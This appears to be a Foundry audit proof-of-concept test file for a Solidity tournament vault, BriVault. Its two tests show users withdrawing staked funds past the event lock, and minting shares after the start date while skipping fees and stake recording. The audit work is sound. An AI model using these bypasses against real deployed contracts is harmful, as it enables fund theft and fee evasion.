pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract AuditPoCTest is Test {
uint256 public participationFeeBsp;
uint256 public eventStartDate;
uint256 public eventEndDate;
address public participationFeeAddress;
uint256 public minimumAmount;
BriVault public briVault;
MockERC20 public mockToken;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
string[48] countries = [
"United States", "Canada", "Mexico", "Argentina", "Brazil", "Ecuador",
"Uruguay", "Colombia", "Peru", "Chile", "Japan", "South Korea",
"Australia", "Iran", "Saudi Arabia", "Qatar", "Uzbekistan", "Jordan",
"France", "Germany", "Spain", "Portugal", "England", "Netherlands",
"Italy", "Croatia", "Belgium", "Switzerland", "Denmark", "Poland",
"Serbia", "Sweden", "Austria", "Morocco", "Senegal", "Nigeria",
"Cameroon", "Egypt", "South Africa", "Ghana", "Algeria", "Tunisia",
"Ivory Coast", "New Zealand", "Costa Rica", "Panama", "United Arab Emirates", "Iraq"
];
function setUp() public {
participationFeeBsp = 150;
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
participationFeeAddress = makeAddr("participationFeeAddress");
minimumAmount = 0.0002 ether;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(owner, 100 ether);
mockToken.mint(user1, 100 ether);
mockToken.mint(user2, 100 ether);
mockToken.mint(user3, 100 ether);
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
eventStartDate,
participationFeeAddress,
minimumAmount,
eventEndDate
);
vm.stopPrank();
}
function test_poc1_erc4626_withdraw_bypass_lock() public {
vm.prank(owner);
briVault.setCountry(countries);
vm.startPrank(user1);
mockToken.approve(address(briVault), type(uint256).max);
uint256 shares = briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
vm.stopPrank();
vm.warp(eventStartDate + 1);
vm.startPrank(user1);
uint256 maxAssets = briVault.maxWithdraw(user1);
uint256 balBefore = mockToken.balanceOf(user1);
uint256 vaultBefore = mockToken.balanceOf(address(briVault));
uint256 burnedShares = briVault.withdraw(maxAssets, user1, user1);
vm.stopPrank();
assertEq(burnedShares, briVault.previewWithdraw(maxAssets), "burned shares should match preview");
assertEq(mockToken.balanceOf(user1), balBefore + maxAssets, "user should receive assets");
assertEq(mockToken.balanceOf(address(briVault)), vaultBefore - maxAssets, "vault assets decreased");
assertEq(briVault.balanceOf(user1), 0, "shares burned");
}
function test_poc2_erc4626_mint_bypass_fee_and_time() public {
vm.warp(eventStartDate + 5);
vm.startPrank(user2);
mockToken.approve(address(briVault), type(uint256).max);
uint256 sharesToMint = 1e18;
uint256 assetsRequired = briVault.previewMint(sharesToMint);
uint256 userBalBefore = mockToken.balanceOf(user2);
uint256 vaultBalBefore = mockToken.balanceOf(address(briVault));
uint256 assetsSpent = briVault.mint(sharesToMint, user2);
vm.stopPrank();
assertEq(assetsRequired, assetsSpent, "assets spent should equal previewMint");
assertEq(mockToken.balanceOf(user2), userBalBefore - assetsSpent, "user paid assets");
assertEq(mockToken.balanceOf(address(briVault)), vaultBalBefore + assetsSpent, "vault received assets");
assertEq(briVault.stakedAsset(user2), 0, "stakedAsset not recorded");
}
}
Alternatively, implement internal hooks to align preview/max functions with tournament state and apply fees consistently.